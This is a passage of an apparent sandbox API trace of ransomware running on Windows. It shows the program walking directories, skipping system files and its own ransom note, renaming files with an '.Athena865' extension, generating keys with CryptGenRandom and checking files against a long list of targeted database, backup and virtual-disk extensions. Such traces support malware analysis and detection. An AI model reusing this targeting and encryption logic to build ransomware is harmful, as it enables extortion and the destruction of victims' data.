lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0130.144] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.144] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0130.144] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0130.144] CloseHandle (hObject=0x154) returned 1 [0130.144] CloseHandle (hObject=0x17c) returned 1 [0130.144] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0130.144] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0130.144] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0130.144] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0294989.WMF", cAlternateFileName="")) returned 1 [0130.144] lstrcmpiW (lpString1="J0294989.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0130.144] lstrcmpiW (lpString1="J0294989.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0130.144] lstrcmpiW (lpString1="J0294989.WMF", lpString2=".") returned 1 [0130.144] lstrcmpiW (lpString1="J0294989.WMF", lpString2="..") returned 1 [0130.144] lstrcmpiW (lpString1="J0294989.WMF", lpString2="windows") returned -1 [0130.144] lstrcmpiW (lpString1="J0294989.WMF", lpString2="bootmgr") returned 1 [0130.144] lstrcmpiW (lpString1="J0294989.WMF", lpString2="temp") returned -1 [0130.144] lstrcmpiW (lpString1="J0294989.WMF", lpString2="pagefile.sys") returned -1 [0130.145] lstrcmpiW (lpString1="J0294989.WMF", lpString2="boot") returned 1 [0130.145] lstrcmpiW (lpString1="J0294989.WMF", lpString2="ids.txt") returned 1 [0130.145] lstrcmpiW (lpString1="J0294989.WMF", lpString2="ntuser.dat") returned -1 [0130.145] lstrcmpiW (lpString1="J0294989.WMF", lpString2="perflogs") returned -1 [0130.145] lstrcmpiW (lpString1="J0294989.WMF", lpString2="MSBuild") returned -1 [0130.145] lstrlenW (lpString="J0294989.WMF") returned 12 [0130.145] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0294989.WMF" | out: lpString1="J0294989.WMF") returned="J0294989.WMF" [0130.145] lstrlenW (lpString="J0294989.WMF") returned 12 [0130.145] lstrlenW (lpString="Athena865") returned 9 [0130.145] lstrcmpiW (lpString1="94989.WMF", lpString2="Athena865") returned -1 [0130.145] lstrlenW (lpString=".dll") returned 4 [0130.145] lstrcmpiW (lpString1="J0294989.WMF", lpString2=".dll") returned 1 [0130.145] lstrlenW (lpString=".lnk") returned 4 [0130.145] lstrcmpiW (lpString1="J0294989.WMF", lpString2=".lnk") returned 1 [0130.145] lstrlenW (lpString=".ini") returned 4 [0130.145] lstrcmpiW (lpString1="J0294989.WMF", lpString2=".ini") returned 1 [0130.145] lstrlenW (lpString=".sys") returned 4 [0130.145] lstrcmpiW (lpString1="J0294989.WMF", lpString2=".sys") returned 1 [0130.145] lstrlenW (lpString="J0294989.WMF") returned 12 [0130.145] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF.Athena865") returned 73 [0130.145] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf.athena865"), dwFlags=0x1) returned 1 [0130.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.147] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14302) returned 1 [0130.147] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.147] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.147] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.147] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.148] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.148] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.148] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3ae0, lpName=0x0) returned 0x154 [0130.150] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3ae0) returned 0x100000 [0130.151] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.152] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.152] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.152] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.152] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.152] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0130.152] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0130.152] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.152] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0130.153] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0130.153] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0130.153] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.153] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0130.153] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0130.153] CloseHandle (hObject=0x154) returned 1 [0130.153] CloseHandle (hObject=0x17c) returned 1 [0130.153] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0130.153] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0130.153] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0130.154] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0294991.WMF", cAlternateFileName="")) returned 1 [0130.154] lstrcmpiW (lpString1="J0294991.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0130.154] lstrcmpiW (lpString1="J0294991.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0130.154] lstrcmpiW (lpString1="J0294991.WMF", lpString2=".") returned 1 [0130.154] lstrcmpiW (lpString1="J0294991.WMF", lpString2="..") returned 1 [0130.154] lstrcmpiW (lpString1="J0294991.WMF", lpString2="windows") returned -1 [0130.154] lstrcmpiW (lpString1="J0294991.WMF", lpString2="bootmgr") returned 1 [0130.154] lstrcmpiW (lpString1="J0294991.WMF", lpString2="temp") returned -1 [0130.154] lstrcmpiW (lpString1="J0294991.WMF", lpString2="pagefile.sys") returned -1 [0130.154] lstrcmpiW (lpString1="J0294991.WMF", lpString2="boot") returned 1 [0130.154] lstrcmpiW (lpString1="J0294991.WMF", lpString2="ids.txt") returned 1 [0130.154] lstrcmpiW (lpString1="J0294991.WMF", lpString2="ntuser.dat") returned -1 [0130.154] lstrcmpiW (lpString1="J0294991.WMF", lpString2="perflogs") returned -1 [0130.154] lstrcmpiW (lpString1="J0294991.WMF", lpString2="MSBuild") returned -1 [0130.154] lstrlenW (lpString="J0294991.WMF") returned 12 [0130.154] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0294991.WMF" | out: lpString1="J0294991.WMF") returned="J0294991.WMF" [0130.154] lstrlenW (lpString="J0294991.WMF") returned 12 [0130.154] lstrlenW (lpString="Athena865") returned 9 [0130.154] lstrcmpiW (lpString1="94991.WMF", lpString2="Athena865") returned -1 [0130.154] lstrlenW (lpString=".dll") returned 4 [0130.154] lstrcmpiW (lpString1="J0294991.WMF", lpString2=".dll") returned 1 [0130.154] lstrlenW (lpString=".lnk") returned 4 [0130.155] lstrcmpiW (lpString1="J0294991.WMF", lpString2=".lnk") returned 1 [0130.155] lstrlenW (lpString=".ini") returned 4 [0130.155] lstrcmpiW (lpString1="J0294991.WMF", lpString2=".ini") returned 1 [0130.155] lstrlenW (lpString=".sys") returned 4 [0130.155] lstrcmpiW (lpString1="J0294991.WMF", lpString2=".sys") returned 1 [0130.155] lstrlenW (lpString="J0294991.WMF") returned 12 [0130.155] lstrlenW (lpString="bak") returned 3 [0130.155] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0130.155] lstrlenW (lpString="ba_") returned 3 [0130.155] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0130.155] lstrlenW (lpString="dbb") returned 3 [0130.155] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0130.155] lstrlenW (lpString="vmdk") returned 4 [0130.155] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0130.155] lstrlenW (lpString="rar") returned 3 [0130.155] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0130.155] lstrlenW (lpString="zip") returned 3 [0130.155] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0130.155] lstrlenW (lpString="tgz") returned 3 [0130.155] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0130.155] lstrlenW (lpString="vbox") returned 4 [0130.155] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0130.155] lstrlenW (lpString="vdi") returned 3 [0130.155] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0130.155] lstrlenW (lpString="vhd") returned 3 [0130.155] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0130.155] lstrlenW (lpString="vhdx") returned 4 [0130.156] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0130.156] lstrlenW (lpString="avhd") returned 4 [0130.156] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0130.156] lstrlenW (lpString="db") returned 2 [0130.156] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0130.156] lstrlenW (lpString="db2") returned 3 [0130.156] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0130.156] lstrlenW (lpString="db3") returned 3 [0130.156] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0130.156] lstrlenW (lpString="dbf") returned 3 [0130.156] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0130.156] lstrlenW (lpString="mdf") returned 3 [0130.156] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0130.156] lstrlenW (lpString="mdb") returned 3 [0130.156] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0130.156] lstrlenW (lpString="sql") returned 3 [0130.156] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0130.156] lstrlenW (lpString="sqlite") returned 6 [0130.156] lstrcmpiW (lpString1="91.WMF", lpString2="sqlite") returned -1 [0130.156] lstrlenW (lpString="sqlite3") returned 7 [0130.156] lstrcmpiW (lpString1="991.WMF", lpString2="sqlite3") returned -1 [0130.156] lstrlenW (lpString="sqlitedb") returned 8 [0130.156] lstrcmpiW (lpString1="4991.WMF", lpString2="sqlitedb") returned -1 [0130.156] lstrlenW (lpString="xml") returned 3 [0130.156] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0130.156] lstrlenW (lpString="$er") returned 3 [0130.157] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0130.157] lstrlenW (lpString="4dd") returned 3 [0130.157] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0130.157] lstrlenW (lpString="4dl") returned 3 [0130.157] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0130.157] lstrlenW (lpString="^^^") returned 3 [0130.157] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0130.157] lstrlenW (lpString="abs") returned 3 [0130.157] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0130.157] lstrlenW (lpString="abx") returned 3 [0130.157] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0130.157] lstrlenW (lpString="accdb") returned 5 [0130.157] lstrcmpiW (lpString1="1.WMF", lpString2="accdb") returned -1 [0130.157] lstrlenW (lpString="accdc") returned 5 [0130.157] lstrcmpiW (lpString1="1.WMF", lpString2="accdc") returned -1 [0130.157] lstrlenW (lpString="accde") returned 5 [0130.157] lstrcmpiW (lpString1="1.WMF", lpString2="accde") returned -1 [0130.157] lstrlenW (lpString="accdr") returned 5 [0130.157] lstrcmpiW (lpString1="1.WMF", lpString2="accdr") returned -1 [0130.157] lstrlenW (lpString="accdt") returned 5 [0130.157] lstrcmpiW (lpString1="1.WMF", lpString2="accdt") returned -1 [0130.157] lstrlenW (lpString="accdw") returned 5 [0130.157] lstrcmpiW (lpString1="1.WMF", lpString2="accdw") returned -1 [0130.157] lstrlenW (lpString="accft") returned 5 [0130.157] lstrcmpiW (lpString1="1.WMF", lpString2="accft") returned -1 [0130.157] lstrlenW (lpString="adb") returned 3 [0130.158] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0130.158] lstrlenW (lpString="adb") returned 3 [0130.158] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0130.158] lstrlenW (lpString="ade") returned 3 [0130.158] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0130.158] lstrlenW (lpString="adf") returned 3 [0130.158] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0130.158] lstrlenW (lpString="adn") returned 3 [0130.158] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0130.158] lstrlenW (lpString="adp") returned 3 [0130.158] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0130.158] lstrlenW (lpString="alf") returned 3 [0130.158] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0130.158] lstrlenW (lpString="ask") returned 3 [0130.158] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0130.158] lstrlenW (lpString="btr") returned 3 [0130.158] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0130.158] lstrlenW (lpString="cat") returned 3 [0130.158] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0130.158] lstrlenW (lpString="cdb") returned 3 [0130.158] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0130.158] lstrlenW (lpString="ckp") returned 3 [0130.158] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0130.158] lstrlenW (lpString="cma") returned 3 [0130.158] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0130.158] lstrlenW (lpString="cpd") returned 3 [0130.159] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0130.159] lstrlenW (lpString="dacpac") returned 6 [0130.159] lstrcmpiW (lpString1="91.WMF", lpString2="dacpac") returned -1 [0130.159] lstrlenW (lpString="dad") returned 3 [0130.159] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0130.159] lstrlenW (lpString="dadiagrams") returned 10 [0130.159] lstrcmpiW (lpString1="294991.WMF", lpString2="dadiagrams") returned -1 [0130.159] lstrlenW (lpString="daschema") returned 8 [0130.159] lstrcmpiW (lpString1="4991.WMF", lpString2="daschema") returned -1 [0130.159] lstrlenW (lpString="db-journal") returned 10 [0130.159] lstrcmpiW (lpString1="294991.WMF", lpString2="db-journal") returned -1 [0130.159] lstrlenW (lpString="db-shm") returned 6 [0130.159] lstrcmpiW (lpString1="91.WMF", lpString2="db-shm") returned -1 [0130.159] lstrlenW (lpString="db-wal") returned 6 [0130.159] lstrcmpiW (lpString1="91.WMF", lpString2="db-wal") returned -1 [0130.159] lstrlenW (lpString="dbc") returned 3 [0130.159] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0130.159] lstrlenW (lpString="dbs") returned 3 [0130.159] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0130.159] lstrlenW (lpString="dbt") returned 3 [0130.159] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0130.159] lstrlenW (lpString="dbv") returned 3 [0130.159] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0130.159] lstrlenW (lpString="dbx") returned 3 [0130.159] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0130.160] lstrlenW (lpString="dcb") returned 3 [0130.160] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0130.160] lstrlenW (lpString="dct") returned 3 [0130.160] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0130.160] lstrlenW (lpString="dcx") returned 3 [0130.160] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0130.160] lstrlenW (lpString="ddl") returned 3 [0130.160] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0130.160] lstrlenW (lpString="dlis") returned 4 [0130.160] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0130.160] lstrlenW (lpString="dp1") returned 3 [0130.160] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0130.160] lstrlenW (lpString="dqy") returned 3 [0130.160] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0130.160] lstrlenW (lpString="dsk") returned 3 [0130.160] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0130.160] lstrlenW (lpString="dsn") returned 3 [0130.160] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0130.160] lstrlenW (lpString="dtsx") returned 4 [0130.160] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0130.160] lstrlenW (lpString="dxl") returned 3 [0130.160] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0130.160] lstrlenW (lpString="eco") returned 3 [0130.160] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0130.160] lstrlenW (lpString="ecx") returned 3 [0130.160] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0130.160] lstrlenW (lpString="edb") returned 3 [0130.161] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0130.161] lstrlenW (lpString="epim") returned 4 [0130.161] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0130.161] lstrlenW (lpString="fcd") returned 3 [0130.161] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0130.161] lstrlenW (lpString="fdb") returned 3 [0130.161] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0130.161] lstrlenW (lpString="fic") returned 3 [0130.161] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0130.161] lstrlenW (lpString="flexolibrary") returned 12 [0130.161] lstrlenW (lpString="fm5") returned 3 [0130.161] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0130.161] lstrlenW (lpString="fmp") returned 3 [0130.161] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0130.161] lstrlenW (lpString="fmp12") returned 5 [0130.161] lstrcmpiW (lpString1="1.WMF", lpString2="fmp12") returned -1 [0130.161] lstrlenW (lpString="fmpsl") returned 5 [0130.161] lstrcmpiW (lpString1="1.WMF", lpString2="fmpsl") returned -1 [0130.161] lstrlenW (lpString="fol") returned 3 [0130.161] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0130.161] lstrlenW (lpString="fp3") returned 3 [0130.161] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0130.161] lstrlenW (lpString="fp4") returned 3 [0130.161] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0130.161] lstrlenW (lpString="fp5") returned 3 [0130.162] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0130.162] lstrlenW (lpString="fp7") returned 3 [0130.162] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0130.162] lstrlenW (lpString="fpt") returned 3 [0130.162] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0130.162] lstrlenW (lpString="frm") returned 3 [0130.162] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0130.162] lstrlenW (lpString="gdb") returned 3 [0130.162] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0130.162] lstrlenW (lpString="gdb") returned 3 [0130.162] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0130.162] lstrlenW (lpString="grdb") returned 4 [0130.162] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0130.162] lstrlenW (lpString="gwi") returned 3 [0130.162] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0130.162] lstrlenW (lpString="hdb") returned 3 [0130.162] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0130.162] lstrlenW (lpString="his") returned 3 [0130.162] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0130.162] lstrlenW (lpString="ib") returned 2 [0130.162] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0130.162] lstrlenW (lpString="idb") returned 3 [0130.162] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0130.162] lstrlenW (lpString="ihx") returned 3 [0130.162] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0130.162] lstrlenW (lpString="itdb") returned 4 [0130.163] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0130.163] lstrlenW (lpString="itw") returned 3 [0130.163] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0130.163] lstrlenW (lpString="jet") returned 3 [0130.163] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0130.163] lstrlenW (lpString="jtx") returned 3 [0130.163] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0130.163] lstrlenW (lpString="kdb") returned 3 [0130.163] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0130.163] lstrlenW (lpString="kexi") returned 4 [0130.163] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0130.163] lstrlenW (lpString="kexic") returned 5 [0130.163] lstrcmpiW (lpString1="1.WMF", lpString2="kexic") returned -1 [0130.163] lstrlenW (lpString="kexis") returned 5 [0130.163] lstrcmpiW (lpString1="1.WMF", lpString2="kexis") returned -1 [0130.163] lstrlenW (lpString="lgc") returned 3 [0130.163] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0130.163] lstrlenW (lpString="lwx") returned 3 [0130.163] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0130.163] lstrlenW (lpString="maf") returned 3 [0130.163] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0130.163] lstrlenW (lpString="maq") returned 3 [0130.163] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0130.163] lstrlenW (lpString="mar") returned 3 [0130.163] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0130.163] lstrlenW (lpString="marshal") returned 7 [0130.163] lstrcmpiW (lpString1="991.WMF", lpString2="marshal") returned -1 [0130.164] lstrlenW (lpString="mas") returned 3 [0130.164] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0130.164] lstrlenW (lpString="mav") returned 3 [0130.164] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0130.164] lstrlenW (lpString="maw") returned 3 [0130.164] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0130.164] lstrlenW (lpString="mdbhtml") returned 7 [0130.164] lstrcmpiW (lpString1="991.WMF", lpString2="mdbhtml") returned -1 [0130.164] lstrlenW (lpString="mdn") returned 3 [0130.164] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0130.164] lstrlenW (lpString="mdt") returned 3 [0130.164] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0130.164] lstrlenW (lpString="mfd") returned 3 [0130.164] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0130.164] lstrlenW (lpString="mpd") returned 3 [0130.164] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0130.164] lstrlenW (lpString="mrg") returned 3 [0130.164] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0130.164] lstrlenW (lpString="mud") returned 3 [0130.164] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0130.164] lstrlenW (lpString="mwb") returned 3 [0130.164] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0130.164] lstrlenW (lpString="myd") returned 3 [0130.164] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0130.164] lstrlenW (lpString="ndf") returned 3 [0130.165] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0130.165] lstrlenW (lpString="nnt") returned 3 [0130.165] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0130.165] lstrlenW (lpString="nrmlib") returned 6 [0130.165] lstrcmpiW (lpString1="91.WMF", lpString2="nrmlib") returned -1 [0130.165] lstrlenW (lpString="ns2") returned 3 [0130.165] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0130.165] lstrlenW (lpString="ns3") returned 3 [0130.165] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0130.165] lstrlenW (lpString="ns4") returned 3 [0130.165] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0130.165] lstrlenW (lpString="nsf") returned 3 [0130.165] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0130.165] lstrlenW (lpString="nv") returned 2 [0130.165] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0130.165] lstrlenW (lpString="nv2") returned 3 [0130.165] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0130.165] lstrlenW (lpString="nwdb") returned 4 [0130.165] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0130.165] lstrlenW (lpString="nyf") returned 3 [0130.165] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0130.165] lstrlenW (lpString="odb") returned 3 [0130.165] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0130.165] lstrlenW (lpString="odb") returned 3 [0130.165] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0130.165] lstrlenW (lpString="oqy") returned 3 [0130.166] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0130.166] lstrlenW (lpString="ora") returned 3 [0130.166] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0130.166] lstrlenW (lpString="orx") returned 3 [0130.166] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0130.166] lstrlenW (lpString="owc") returned 3 [0130.166] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0130.166] lstrlenW (lpString="p96") returned 3 [0130.166] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0130.166] lstrlenW (lpString="p97") returned 3 [0130.166] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0130.166] lstrlenW (lpString="pan") returned 3 [0130.166] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0130.166] lstrlenW (lpString="pdb") 